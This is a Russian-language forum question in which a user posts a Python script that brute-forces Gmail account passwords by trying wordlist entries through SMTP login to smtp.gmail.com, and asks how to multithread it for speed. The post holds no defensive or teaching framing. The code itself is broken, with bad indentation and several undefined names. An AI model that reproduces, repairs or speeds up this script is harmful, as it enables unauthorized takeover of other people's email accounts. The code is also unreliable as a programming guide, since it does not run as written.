многопоточный угадывающий пароль - PullRequest
0 голосов
/ 15 апреля 2020

У меня есть кусок кода, который перечисляет пароль. Это работает очень медленно ... Как я могу добавить многопоточность к своему коду и увеличить скорость ?

Я пытаюсь сделать это с помощью Threading , но как бы я ни старался, это не всегда получается

import smtplib
from time import sleep
import threading


server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()

def brute():
    if select_smtp == 'gmail':
        mail = input('Input gmail: ')
        i = 0
        passwords = open('wordlist.txt', 'r').readlines()

         for line in passwords:
        i += 1
        password = line.strip()
        try:
            server.login(mail, password)
            os.system('clear')
            showLogo()
            print(f'{mail}:{password} ({i} / {len(passwords)})')
            server.close()
            break
        except smtplib.SMTPAuthenticationError as e:
            print(f'{i} / {len(passwords)} {password} invalid...')
            sleep(1)


queue = Queue()

for i in range(thread):
    insts = threading.Thread(target=brute)
    insts.setDaemon(True)
    insts.start()

for pwd in passwords:
    queue.put(pwd)

queue.join()
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...